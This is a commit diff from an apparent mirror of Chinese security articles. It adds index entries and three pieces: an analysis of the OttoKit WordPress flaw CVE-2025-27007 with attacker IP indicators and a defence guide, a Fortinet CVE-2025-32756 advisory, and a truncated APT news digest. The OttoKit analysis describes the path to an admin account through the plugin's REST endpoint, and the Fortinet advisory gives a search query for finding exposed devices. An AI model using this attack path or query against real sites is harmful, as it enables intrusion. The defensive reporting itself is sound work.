mirror of
https://github.com/gelusus/wxvl.git
synced 2025-08-13 03:17:22 +00:00
漏洞赏金故事 | 挖穿全球最大航空与酒店积分平台、腾讯云安全中心推出2025年4月必修安全漏洞清单、某GPS定位系统存在前台SQL注入漏洞、突破浅层测试桎梏：多维度漏洞挖掘突破与实践探索、微软2025年5月"补丁星期二"安全更新修复了5个已被积极利用的零日漏洞、微软5月安全更新：78漏洞深度透视，5大零日实战利用链及Azure DevOps CVSS 10漏洞攻防策略、OttoKit插件CVSS 9.8“幽灵连接”提权漏洞(CVE-2025-27007)遭闪电利用，深度技术剖析与防御指南、【在野利用】Fortinet 系列产品 未认证远程代码执行（CVE-2025-32756）、安全快报 | 国际APT威胁组织利用SAP NetWeaver严重安全漏洞入侵全球581个关键基础设施系统、
This commit is contained in:
test
parent
25063f5ac3
commit
79f9ae392b
11
data.json
11
data.json
@ -14041,5 +14041,14 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493126&idx=1&sn=a82a65609829035d058046e4297e3e31": "漏洞预警 | 飞企互联FE业务协作平台任意文件读取漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493126&idx=2&sn=8b7e76c6216fa0b82a01b16b457bfdf5": "漏洞预警 | 汉王e脸通智慧园区管理平台任意文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNzY5MTg1Ng==&mid=2247487375&idx=3&sn=f9346226f0683b32257c788094d72cf8": "【Web实战】一次空白页面的“妙手回春”嘎嘎出严重漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg4NTg5MDQ0OA==&mid=2247487908&idx=1&sn=f63da7d2667a17aee320d949035ee354": "Fortinet紧急修复零日漏洞CVE-2025-32756：远程代码执行风险威胁FortiVoice系统"
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg4NTg5MDQ0OA==&mid=2247487908&idx=1&sn=f63da7d2667a17aee320d949035ee354": "Fortinet紧急修复零日漏洞CVE-2025-32756：远程代码执行风险威胁FortiVoice系统",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247616156&idx=1&sn=5d04e1241f313c3afc585df07cd88345": "漏洞赏金故事 | 挖穿全球最大航空与酒店积分平台",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzNTI4NjU1Mw==&mid=2247485073&idx=1&sn=05bd26674ee6fec3d58cf76a4ffe52db": "腾讯云安全中心推出2025年4月必修安全漏洞清单",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIxNTIzNTExMQ==&mid=2247491695&idx=1&sn=cf4b7e1ba13e9801c14c9e7df8eade2b": "某GPS定位系统存在前台SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247490291&idx=1&sn=7daaec7346e99f780fb344eb656361e2": "突破浅层测试桎梏：多维度漏洞挖掘突破与实践探索",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3OTc0NDcyNQ==&mid=2247493843&idx=1&sn=8549e962d265a0c81e4f0979dbe07666": "微软2025年5月\"补丁星期二\"安全更新修复了5个已被积极利用的零日漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA4NTY4MjAyMQ==&mid=2447900536&idx=1&sn=bb4f1cb2997f99dce650af738ebb23be": "微软5月安全更新：78漏洞深度透视，5大零日实战利用链及Azure DevOps CVSS 10漏洞攻防策略",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA4NTY4MjAyMQ==&mid=2447900537&idx=1&sn=573044c78e9776fde63049ccb62fd980": "OttoKit插件CVSS 9.8“幽灵连接”提权漏洞(CVE-2025-27007)遭闪电利用，深度技术剖析与防御指南",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMDc1MTM5Ng==&mid=2247484069&idx=1&sn=699376c17af88ea04131750ccdc81566": "【在野利用】Fortinet 系列产品 未认证远程代码执行（CVE-2025-32756）",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU3MDA0MTE2Mg==&mid=2247492827&idx=1&sn=56d71af1f4ba16d789e34d7228296643": "安全快报 | 国际APT威胁组织利用SAP NetWeaver严重安全漏洞入侵全球581个关键基础设施系统"
|
||||
}
|
||||
@ -0,0 +1,159 @@
|
||||
# OttoKit插件CVSS 9.8“幽灵连接”提权漏洞(CVE-2025-27007)遭闪电利用，深度技术剖析与防御指南
|
||||
原创 Hankzheng 技术修道场 2025-05-15 03:30
|
||||
|
||||
|
||||
|
||||
一款拥有超过10万活跃安装量的知名WordPress自动化插件——**OttoKit**
|
||||
（前身为SureTriggers）——正面临一场严峻的安全风暴。该插件被曝出包括一个CVSS评分为**9.8（严重级别）的权限提升漏洞 (CVE-2025-27007)**
|
||||
在内的多个缺陷，并已遭到黑客大规模的在野主动攻击。这不仅仅是一次常规的漏洞警告，更是对我们安全响应速度和防御深度的严峻考验。
|
||||
## OttoKit插件简介：连接万物的自动化引擎
|
||||
|
||||
在深入技术细节之前，让我们简要了解OttoKit。它是一款强大的WordPress自动化插件，旨在充当您网站与数百个外部Web应用程序和服务（如CRM系统、邮件营销工具、社交媒体平台、云存储、项目管理工具等）之间的“连接器”和“工作流引擎”。用户可以通过它设置WordPress站点内的各种触发器（例如新用户注册、文章发布、在线表单提交、WooCommerce订单状态变更等），并自动执行一系列关联动作（例如将用户信息同步到CRM、发送定制化欢迎邮件、在社交媒体上自动分享新内容等），实现无需编写任何代码的跨应用自动化工作流程。其功能定位类似于Zapier、IFTTT或Pabbly Connect等广受欢迎的集成与自动化平台。正因其需要处理敏感的身份验证连接和执行具有潜在高权限的操作，其安全性就显得至关重要。
|
||||
## 核心漏洞剖析：CVE-2025-27007 – “幽灵连接”引发的权限风暴 (CVSS 9.8)
|
||||
|
||||
此漏洞是本次安全事件的“风暴眼”，影响OttoKit 1.0.82及之前所有版本。其根源在于插件处理与外部服务（即OttoKit/SureTriggers云平台或用户自定义的Web服务）建立连接过程中的认证授权机制存在致命的“逻辑错误”（Patchstack的核心判断）。
|
||||
### WordPress“应用程序密码”机制背景：
|
||||
|
||||
为避免直接在第三方应用中使用用户的主登录密码（存在泄露风险），WordPress引入了“应用程序密码”机制。用户可以为其账户生成多个专用的应用程序密码，每个密码用于授权一个特定的第三方应用（如手机App、像OttoKit这样的外部服务）通过WordPress的REST API与站点进行安全的编程方式交互。这些密码与特定用户绑定，可以单独命名和撤销，提供了更细粒度的访问控制。
|
||||
### 致命缺陷一：create_wp_connection()函数缺少充分的“能力检查”(Capability Check) (据Wordfence分析)：
|
||||
|
||||
OttoKit插件中负责初始化和建立WordPress站点与外部服务连接的核心函数是create_wp_connection()
|
||||
。据Wordfence分析，此函数在执行创建连接这种高度敏感的操作前，**未能严格校验当前操作上下文（无论是真实用户请求还是潜在的攻击者伪造请求）是否具备执行此操作所必需的WordPress用户“能力名称”(Capability Name)**
|
||||
。例如，一个健全的设计本应通过调用如current_user_can('manage_options')
|
||||
（判断是否拥有管理站点核心设置的通用管理员权限）或current_user_can('install_plugins')
|
||||
（判断是否拥有安装插件的权限）等函数来确认操作者的权限级别，或者至少应检查其是否具备插件自身定义的、专门用于管理其连接和自动化规则的特定高级能力。这种检查的缺失，为未经授权的连接创建和后续的权限提升打开了第一个缺口。
|
||||
### 致命缺陷二：身份凭证处理的“逻辑错误”深化 (综合Wordfence与Patchstack分析)：
|
||||
|
||||
此“逻辑错误”具体表现在插件对身份凭证（特别是应用程序密码）的处理和验证流程上存在多个可能被利用的缺陷点：
|
||||
1. **对WordPress核心函数wp_authenticate_application_password()响应的错误解读**
|
||||
当尝试使用应用程序密码进行认证时，OttoKit插件的create_wp_connection()
|
||||
函数或其调用的相关认证逻辑，可能错误地处理了WordPress核心认证函数wp_authenticate_application_password()
|
||||
的返回结果。例如，在一个特定用户账户下从未设置过任何应用程序密码（即“零配置应用密码”状态）的情况下，此核心函数会明确返回一个WP_Error
|
||||
对象以标识“无密码设置”或认证失败。如果OttoKit插件未能正确识别这个关键的错误状态，反而将其错误地判断为某种形式的“认证通过”、“允许访客模式连接”或“允许进入一种特权的初始连接创建模式”，那么未经授权的连接就可能因此被非法建立。
|
||||
|
||||
1. **对用户（攻击者）直接提供的访问令牌的验证机制不足或可被绕过**
|
||||
插件在接收和处理由客户端（可能是攻击者）直接提供的访问令牌时，其验证流程可能存在显著缺陷。例如，它可能未能充分验证令牌的真实性、完整性、签发者、时效性，或者未能严格校验令牌所对应的用户权限与请求操作是否匹配，使得攻击者能够使用伪造的、格式错误的、权限不足的，甚至是精心构造以触发特定代码路径逻辑错误的令牌，来成功欺骗插件并建立一个看似合法、实则完全非授权的“连接”。
|
||||
|
||||
### 漏洞利用场景深度解读 (CVE-2025-27007)：
|
||||
|
||||
上述这些设计和逻辑上的缺陷共同导致了至少两种主要的在野利用场景：
|
||||
1. **场景一：“零配置应用密码”状态下的未授权访问与提权（未经身份验证的攻击者即可利用，风险最高，影响面最广）**
|
||||
如果一个WordPress站点的管理员从未主动在其任何用户账户下启用或使用过任何“应用程序密码”（这对于许多不熟悉此高级功能的普通用户而言，是非常常见的状态），并且OttoKit插件也从未通过合法的应用程序密码与该站点建立过连接。在这种“纯净”或“零配置”的状态下，当远程的、未经身份验证的攻击者向create_wp_connection()
|
||||
相关的功能接口（如特定的REST API路由）发送特制请求时，由于插件存在的上述逻辑错误和能力检查缺失，系统可能直接错误地建立了一个具有隐性高权限的“幽灵连接”。
|
||||
|
||||
1. **场景二：已认证低权限用户的越权操作与权限提升**
|
||||
若攻击者已通过其他途径（例如弱口令破解、利用站点其他漏洞等）获得了对目标站点某个低权限用户账户（如“订阅者”、“贡献者”等角色）的访问权限，并能为该账户生成一个合法的应用程序密码。当攻击者利用这个低权限账户的应用程序密码与存在漏洞的create_wp_connection()
|
||||
函数进行交互时，如果插件未能严格校验此应用程序密码背后用户的实际WordPress用户角色和权限（Capabilities），而是仅仅基于成功“连接”（即便这是一个低权限或被欺骗的连接）这一事实，就错误地授予了通过此连接会话执行后续操作时拥有管理员级别的能力，则构成了典型的权限提升漏洞。
|
||||
|
||||
### 攻击的最终目标：通过automation/action REST API端点创建管理员账户：
|
||||
|
||||
一旦攻击者通过上述任一场景，利用CVE-2025-27007成功建立了一个被OttoKit插件错误信任的、实际上拥有了管理员等效权限的“连接会话”，他们便可以畅通无阻地调用OttoKit插件提供的各种REST API端点。据Wordfence披露，攻击者重点利用的是插件的automation/action
|
||||
端点（例如，其具体路径可能为/wp-json/ottokit/v1/automation/action
|
||||
或类似结构，这通常是插件注册给WordPress REST API的路由）。这些端点本是用于插件执行合法的、用户预设的自动化规则和动作。攻击者利用此便利，向该端点发送包含“创建新用户”（create_user
|
||||
）指令的恶意构造请求，并将新用户的角色参数指定为拥有最高权限的“管理员”(administrator)，从而彻底、持久地控制目标WordPress网站。
|
||||
## 并发的“组合拳”威胁：CVE-2025-3102 (CVSS 8.1)的协同利用
|
||||
|
||||
雪上加霜的是，在实际的攻击活动中，网络犯罪分子并非只满足于利用CVE-2025-27007这一个漏洞。他们通常会采取“广撒网、多点尝试”的策略，在对目标站点发起攻击时，同时尝试利用另一个自2025年4月起就已被积极利用的OttoKit插件漏洞——**CVE-2025-3102 (CVSS 8.1)**
|
||||
。尽管当前这份分析所依据的原始信息并未详细阐述CVE-2025-3102的具体漏洞类型和技术原理，但攻击者这种机会性地扫描并试图利用多个已知漏洞的行为模式（即哪个漏洞能打通就利用哪个，而非必须链式利用），无疑增加了防御的复杂性和紧迫性。
|
||||
## 漏洞利用的“闪电战”：披露91分钟后即遭攻击，形势刻不容缓！
|
||||
|
||||
此次OttoKit插件安全事件再次为我们敲响了关于漏洞响应速度的警钟：
|
||||
- Wordfence的安全研究人员监测到，针对CVE-2025-27007的在野利用尝试，最早可能在**2025年5月2日**
|
||||
就已开始，而更大规模、更自动化的利用则从**2025年5月4日**
|
||||
起全面铺开。
|
||||
|
||||
- 另一家专注于WordPress安全的机构Patchstack在其独立的安全通告中，披露了一个更为惊人的事实：在该漏洞的技术细节被安全社区或相关方公开披露（这通常意味着PoC概念验证代码或详细分析报告已出现，使得漏洞信息广为人知）之后，仅仅过去了**91分钟**
|
||||
，他们的全球蜜罐和监控系统就已经捕获到针对此漏洞的真实在野攻击流量。这充分说明，在当今高度自动化的网络攻击环境下，从漏洞信息公开到被黑客“武器化”并发动实际攻击，其间的时间窗口可能短到令人咋舌。
|
||||
|
||||
- 以下是部分已被安全社区确认参与此次攻击的威胁源IP地址，建议网站管理员立即将其加入到防火墙、WAF或其他网络安全设备的黑名单中，以作初步防御：(请注意：攻击IP会不断变化，建议持续关注专业安全机构发布的最新IOC威胁情报)
|
||||
|
||||
- 2a0b:4141:820:1f4::2
|
||||
- 41.216.188.205
|
||||
- 144.91.119.115
|
||||
- 194.87.29.57
|
||||
- 196.251.69.118
|
||||
- 107.189.29.12
|
||||
- 205.185.123.102
|
||||
- 198.98.51.24
|
||||
- 198.98.52.226
|
||||
- 199.195.248.147
|
||||
## 终极防御指南：立即行动，多层防护，亡羊补牢！
|
||||
|
||||
面对OttoKit (前SureTriggers) 插件此次暴露出的严重安全风险，以及其庞大的用户基础（全球超过十万个站点可能受到影响），我们强烈建议所有WordPress网站管理员和开发者立即采取以下多层次、纵深化的防御与补救措施：
|
||||
1. #### 第一要务：立即更新插件至安全版本！
|
||||
|
||||
将OttoKit插件升级到官方已修复此系列漏洞的最新版本——**1.0.83或更高**
|
||||
。这是最直接、最根本的解决方案。请务必从WordPress官方插件目录或插件开发者官方网站获取更新，避免使用来历不明的第三方源。
|
||||
|
||||
1. #### 应急响应与历史回溯检查（针对可能已被入侵的站点）：
|
||||
|
||||
1. **全面审查管理员账户**
|
||||
登录您的WordPress后台，仔细检查“用户”列表中的所有管理员级别（Administrator）账户。逐一核实每一个管理员账户的创建时间、最后登录IP、以及近期是否有异常操作记录（如果您的日志系统支持此类审计）。立即删除任何未经您授权创建的、或您不认识的可疑管理员账户。
|
||||
|
||||
1. **审计应用程序密码（Application Passwords）**
|
||||
指导所有拥有后台访问权限的用户（尤其是管理员和编辑等高权限角色）检查其个人资料（“用户” -> “您的个人资料” -> “应用程序密码”部分）。仔细核查是否存在任何未知的、非用户本人或其信任的已授权应用程序创建的密码条目。对任何可疑或不再使用的应用程序密码，应立即执行“撤销”操作。
|
||||
|
||||
1. **深度历史回溯与安全检查（自2025年5月2日起）**
|
||||
1. **文件系统完整性校验**
|
||||
检查WordPress核心文件、所有插件和主题文件的完整性，确认是否有被篡改或植入恶意代码（如PHP后门、WebShell）的情况。可以借助文件完整性扫描插件或手动与官方版本进行比对。
|
||||
|
||||
1. **数据库安全审查**
|
||||
检查WordPress数据库中的wp_users
|
||||
和wp_usermeta
|
||||
表，查找是否有异常（如权限过高、邮箱可疑）的用户账户数据。检查wp_options
|
||||
表是否有被篡改的站点URL、管理员邮箱等关键设置。
|
||||
|
||||
1. **服务器配置文件检查**
|
||||
检查Web服务器的配置文件（如Apache的.htaccess
|
||||
或Nginx的nginx.conf
|
||||
）是否被植入恶意的重定向规则或访问控制指令。
|
||||
|
||||
1. **WordPress计划任务(Cron Jobs)审查**
|
||||
检查是否有未知的或可疑的WordPress计划任务被添加，这些任务可能被用于执行恶意代码或维持持久化。
|
||||
|
||||
1. **服务器日志分析与IOC比对**
|
||||
全面分析Web服务器的访问日志（access logs）、PHP错误日志、以及系统日志，重点筛查自2025年5月2日以来，是否有与本文中列出或安全社区最新通报的攻击IP地址的连接记录，或者是否有针对OttoKit插件特定API端点的异常请求。
|
||||
|
||||
1. **专业安全扫描**
|
||||
利用信誉良好的WordPress安全扫描插件（如Wordfence Scanner, Sucuri SiteCheck, MalCare等）或专业的网站安全扫描服务，对您的站点进行一次彻底的安全体检。
|
||||
|
||||
1. #### 强化WordPress自身安全配置与管理实践：
|
||||
|
||||
1. **应用程序密码管理最佳实践强化**
|
||||
1. **明确用途与风险**
|
||||
对团队成员进行关于“应用程序密码”用途和潜在安全风险的培训。强调其便利性背后是对REST API的直接授权。
|
||||
|
||||
1. **“非必要不创建，最小权限授权”**
|
||||
如果网站和业务流程中并无明确、主动的第三方应用集成需求，应建议用户非必要不创建应用程序密码。若确实需要为某个应用创建密码，务必确保该应用来源可靠、信誉良好，并严格遵循**最小权限原则**
|
||||
——即为其绑定的WordPress用户账户仅授予执行其预定API任务所必需的最小用户角色和能力集（Capabilities），切忌为图方便而使用管理员账户生成通用密码。
|
||||
|
||||
1. **定期审计与轮换**
|
||||
建立制度，要求用户定期（例如每季度）审计其个人资料下所有已创建的应用程序密码，及时撤销不再使用或用途不明的密码。对于长期使用的重要应用密码，考虑定期轮换（撤销旧密码，为应用重新生成并配置新密码），作为一种良好的安全卫生习惯。
|
||||
|
||||
1. **插件最小化与全生命周期安全管理**
|
||||
1. **精简原则**
|
||||
将“插件最小化”作为一项核心安全策略。定期（例如每季度或每次大版本更新后）全面审查您网站上所有已安装的插件和主题。
|
||||
|
||||
1. **坚决移除**
|
||||
对于那些已经停止维护更新（例如超过一年未更新）、功能与您的核心业务需求不符、使用率极低、或非绝对必要的插件和主题，应坚决予以停用并彻底删除。每一个多余的组件都可能成为一个新的潜在攻击面。
|
||||
|
||||
1. **来源审查与信誉评估**
|
||||
仅从WordPress官方插件/主题目录或信誉卓著的商业开发者处获取插件和主题。对于第三方来源的组件，务必进行严格的安全评估。
|
||||
|
||||
1. **持续更新**
|
||||
对于所有保留使用的插件、主题以及WordPress核心本身，必须将其始终保持更新至官方发布的最新稳定版本，并订阅相关安全邮件列表以及时获取漏洞通告。
|
||||
|
||||
1. #### 部署主动的技术性防护、监控与告警体系：
|
||||
|
||||
1. **Web应用防火墙 (WAF) 的精细化配置**
|
||||
在您的网站前端部署并正确配置一个高质量的Web应用防火墙（WAF），确保其规则库（特别是针对WordPress常见漏洞和攻击模式的规则）保持最新。WAF不仅可以帮助拦截来自已知恶意IP地址的流量，更重要的是应配置其深度包检测能力，以识别和阻止针对特定插件路径（例如OttoKit插件的/wp-json/ottokit/v1/*
|
||||
系列REST API端点）的恶意请求、异常参数、或已知的攻击签名（如SQL注入、XSS、权限提升尝试等）。
|
||||
|
||||
1. **端点检测与响应 (EDR) / 主机入侵检测系统 (HIDS) 的深化应用**
|
||||
如果您的网站托管在独立服务器或VPS上（而非共享主机），强烈建议在服务器操作系统层面部署EDR或HIDS解决方案。这些系统能够更深入地监控服务器上的进程活动、文件系统I/O、网络连接、以及系统调用，有助于发现更隐蔽的恶意行为，例如可疑的PHP脚本执行、反向shell连接、以及利用操作系统漏洞的尝试。
|
||||
|
||||
1. **加强日志审计、实现集中存储与智能告警**
|
||||
确保WordPress、Web服务器（如Nginx或Apache）、PHP以及操作系统层面的日志记录功能被正确、全面地配置（例如，开启PHP错误日志、Web服务器访问日志记录POST请求数据、WordPress调试日志等），并将这些日志安全地、准实时地集中存储到专用的日志管理平台（如ELK Stack, Splunk, Graylog等）。利用SIEM（安全信息与事件管理）或高级日志分析工具设置智能告警规则，以便在发生可疑的管理员登录尝试（特别是来自异常IP或地理位置）、用户权限意外变更、新管理员账户创建、核心WordPress或插件文件被意外修改等高风险事件时，能够第一时间收到准确告警并启动应急响应流程。
|
||||
|
||||
网络安全是一场永不停歇的攻防博弈，不存在一劳永逸的解决方案。OttoKit插件的此次严重安全事件再次警示我们，即便是广泛使用、拥有众多用户的流行工具，也可能潜藏着能够造成灾难性后果的“阿喀琉斯之踵”。唯有时刻保持对新兴威胁的警惕，对安全事件快速响应，并结合管理和技术手段，构建起“事前预防 -事中检测 - 事后响应与恢复”的完整安全闭环，才能在这场日益激烈的数字时代“网络军备竞赛”中，最大限度地保护我们的在线资产安全和业务声誉。
|
||||
|
||||
97
doc/2025-05/【在野利用】Fortinet 系列产品 未认证远程代码执行（CVE-2025-32756）.md
Normal file
97
doc/2025-05/【在野利用】Fortinet 系列产品 未认证远程代码执行（CVE-2025-32756）.md
Normal file
@ -0,0 +1,97 @@
|
||||
# 【在野利用】Fortinet 系列产品 未认证远程代码执行（CVE-2025-32756）
|
||||
原创 安全探索者 安全探索者 2025-05-15 03:58
|
||||
|
||||
↑点击关注，获取更多漏洞预警，技术分享
|
||||
|
||||
0x01 组件介绍
|
||||
|
||||
|
||||
|
||||
FortiVoice用于企业级统一通信平台，支持语音通话、会议、即时通讯等功能；FortiMail 用于企业邮件安全网关，提供反垃圾邮件、防病毒和邮件加密服务；FortiNDR用于网络检测与响应系统，用于威胁检测和自动化响应；FortiRecorder 用于视频监控与记录系统，支持多摄像头管理和存储；FortiCamera 用于网络摄像头及监控设备，支持远程访问和视频分析。
|
||||
|
||||
搜索语法：app="FORTINET-FortiVoice" || app="Fortinet-FortiNDR" || app="FORTINET-FortiCamera" || app="FORTINET-FortiMail" || app="FORTINET-FortiRecorder"
|
||||
|
||||
0x02 漏洞描述
|
||||
|
||||
|
||||
CVE-2025-32756 是 Fortinet FortiVoice 企业系统 HTTP POST 处理器中的一个严重栈溢出漏洞。
|
||||
该漏洞在于 FortiVoice 处理对 /REDACTED
|
||||
的 HTTP POST 请求的方式。 REDACTED
|
||||
参数中的未验证缓冲区可以被攻击者控制的输入覆盖。一旦堆栈被破坏，攻击者可以劫持返回地址并执行任意有效负载。
|
||||
此漏洞影响使用易受攻击组件的多个 Fortinet 系统。
|
||||
|
||||
<table><tbody><tr><td data-colwidth="143" width="143" style="border-color:#0080ff;"><section><span leaf="">漏洞分类</span></section></td><td colspan="3" data-colwidth="143,143,143" width="143,143,143" style="border-color:#0080ff;"><section><span style="color: rgb(31, 35, 40);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Noto Sans", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">栈溢出→远程代码执行</span></span></section></td></tr><tr><td data-colwidth="143" width="143" style="border-color:#0080ff;"><section><span leaf="" data-pm-slice="1 1 ["table",{"interlaced":null,"align":null,"class":null,"style":null},"table_body",{},"table_row",{"class":null,"style":null},"table_cell",{"colspan":1,"rowspan":1,"colwidth":[143],"width":null,"valign":null,"align":null,"style":null},"para",null]">CVSS 3.1分数</span></section></td><td data-colwidth="143" width="143" style="border-color:#0080ff;"><section><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);">9.6</span></span></section></td><td data-colwidth="143" width="143" style="border-color:#0080ff;"><section><span leaf="">漏洞等级</span></section></td><td data-colwidth="143" width="143" style="border-color:#0080ff;"><section><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);">严重</span></span></section></td></tr><tr><td data-colwidth="143" width="143" style="border-color:#0080ff;"><section><span leaf="">POC/EXP</span></section></td><td data-colwidth="143" width="143" style="border-color:#0080ff;"><section><span leaf=""> </span><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);">未公开</span></span></section></td><td data-colwidth="143" width="143" style="border-color:#0080ff;"><section><span leaf="">可利用性</span></section></td><td data-colwidth="143" width="143" style="border-color:#0080ff;"><section><span leaf=""><span textstyle="" style="color: rgb(255, 0, 0);">高</span></span></section></td></tr></tbody></table>
|
||||
|
||||
0x03 影响版本
|
||||
|
||||
**FortiVoice**
|
||||
：6.4.0-6.4.10、7.0.0-7.0.6、7.2.0
|
||||
|
||||
**FortiMail**
|
||||
：7.0.x、7.2.x、7.4.x、7.6.x
|
||||
|
||||
**FortiNDR**
|
||||
：1.x、7.0.x、7.2.x、7.4.x
|
||||
|
||||
**FortiRecorder**
|
||||
：6.4.x、7.0.x、7.2.x
|
||||
|
||||
**FortiCamera**
|
||||
：2.1.x
|
||||
<table><tbody><tr style="-webkit-tap-highlight-color: transparent;outline: 0px;visibility: visible;"></tr></tbody></table>
|
||||
0x04 漏洞验证
|
||||
|
||||
目前POC/EXP尚未公开，但已经有攻
|
||||
击者在互联网上售卖该漏
|
||||
洞的POC
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
0x05 漏洞影响
|
||||
|
||||
由于该漏洞影
|
||||
响范围较广，危害较大。
|
||||
目前通过空间搜索引擎暂未发现国内有开放在互联网上的应用。企业按需求排查是否有
|
||||
使用该组件，并尽快做出对应措施
|
||||
|
||||
|
||||
0x06 修复建议
|
||||
|
||||
|
||||
目前官方已发布新版本，按需求更新至新版本
|
||||
|
||||
官方链接：
|
||||
https://fortiguard.fortinet.com/psirt/FG-IR-25-254
|
||||
- **FortiVoice**
|
||||
升级至6.4.11/7.0.7/7.2.1或更高
|
||||
|
||||
- **FortiMail**
|
||||
升级至7.0.9/7.2.8/7.4.5/7.6.3或更高
|
||||
|
||||
- **FortiNDR**
|
||||
升级至7.0.7/7.2.5/7.4.8或更高
|
||||
|
||||
- **FortiRecorder**
|
||||
升级至6.4.6/7.0.6/7.2.4或更高
|
||||
|
||||
- **FortiCamera**
|
||||
升级至2.1.4或更高。
|
||||
|
||||
|
||||
0X07 参考链接
|
||||
|
||||
https://fortiguard.fortinet.com/psirt/FG-IR-25-254
|
||||
|
||||
|
||||
0x08 免责声明
|
||||
|
||||
> 本文所涉及的任何技术、信息或工具，仅供学习和参考之用。
|
||||
|
||||
> 请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。
|
||||
|
||||
> 作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。
|
||||
|
||||
|
||||
|
||||
@ -0,0 +1,297 @@
|
||||
# 安全快报 | 国际APT威胁组织利用SAP NetWeaver严重安全漏洞入侵全球581个关键基础设施系统
|
||||
天懋信息 2025-05-15 02:05
|
||||
|
||||
**本周安全事件速览**
|
||||
|
||||
**05月08日-05月14日**
|
||||
|
||||
**01**
|
||||
****
|
||||
|
||||
**国际APT威胁组织利用SAP NetWeaver严重安全漏洞入侵全球581个关键基础设施系统**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**简要介绍******
|
||||
|
||||
近期，
|
||||
一个影响
|
||||
SAP NetWeaver的严重安全漏洞
|
||||
被威胁活动集群利用
|
||||
以
|
||||
针对
|
||||
多个
|
||||
关基
|
||||
系统
|
||||
开展
|
||||
网络
|
||||
入侵
|
||||
。
|
||||
据悉，
|
||||
这些
|
||||
威胁组织
|
||||
利用了
|
||||
CVE-2025-31324，这是一个未经身份验证的文件上传漏洞，可实现远程代码执行（RCE）
|
||||
。
|
||||
该活动的
|
||||
攻击
|
||||
目标包括英国的天然气分销网络、水和综合废物管理公用事业、美国的医疗设备制造厂、石油和天然气勘探和生产公司，以及沙特阿拉伯负责投资战略和金融监管的政府部门。这些发现基于在攻击者控制的基础设施上发现的公开目录，其中包含捕获多个受感染系统中的活动的事件日志。
|
||||
一
|
||||
荷兰网络安全公司将入侵归因于跟踪为
|
||||
UNC5221、UNC5174和CL-STA-0048的威胁活动集群，其中最后一个与针对南亚高价值目标的攻击有关，通过利用面向公众的IIS、Apache Tomcat和MS-SQL服务器中的已知漏洞来放置Web shell、反向shell和PlugX后门。
|
||||
|
||||
|
||||
**文章****来**
|
||||
**源**
|
||||
**：****The Hacker News**
|
||||
|
||||
|
||||
|
||||
**02******
|
||||
|
||||
**朝鲜黑客组织使用恶意软件以乌克兰政府实体为目标开展网络间谍活动**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**简要介绍******
|
||||
|
||||
被称为
|
||||
Konni APT的与朝鲜相关的
|
||||
黑客
|
||||
组织被归因
|
||||
与
|
||||
针对乌克兰政府实体的网络钓鱼活动
|
||||
有关
|
||||
。企业安全公司
|
||||
Proofpoint表示，该活动的最终目标是收集有关“俄罗斯入侵轨迹”的情报。“该组织对乌克兰的兴趣是在
|
||||
将俄罗斯政府实体作为
|
||||
战略情报收集
|
||||
目标之后。
|
||||
”安全研究人员Greg Lesnewich、Saher Naumaan和Mark Kelly在与The Hacker News分享的一份报告中说。Konni APT是一个网络间谍组织，有针对韩国、美国和俄罗斯
|
||||
政府
|
||||
实体
|
||||
开展间谍活动
|
||||
的历史。
|
||||
该黑客
|
||||
组织挂载的攻击链通常涉及使用网络钓鱼电子邮件来分发名为
|
||||
Konni RAT的恶意软件，并将收件人重定向到凭据收集页面。据悉，最新一组攻击涉及使用网络钓鱼电子邮件，这些电子邮件冒充一个名为皇家战略研究所的智库的虚构高级研究员，该智库也是一个不存在的组织。
|
||||
|
||||
|
||||
**文章来****源：****The Hacker News**
|
||||
|
||||
|
||||
|
||||
**03******
|
||||
|
||||
**俄罗斯FSB黑客以西方官员、非政府组织和记者为目标部署新型恶意软件以窃取敏感信息**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**简要介绍******
|
||||
|
||||
俄罗斯网络间谍黑客正在使用一种名为
|
||||
“Lostkeys”的新型恶意软件针对西方官员、非政府组织和记者进行间谍活动。谷歌研究人员将Lostkeys归因于威胁组织 Coldriver，该组织也被跟踪为UNC4057、Star Blizzard和Callisto。该组织是联邦安全局的一个运营单位，以
|
||||
网络钓鱼
|
||||
凭证
|
||||
攻击而闻名。
|
||||
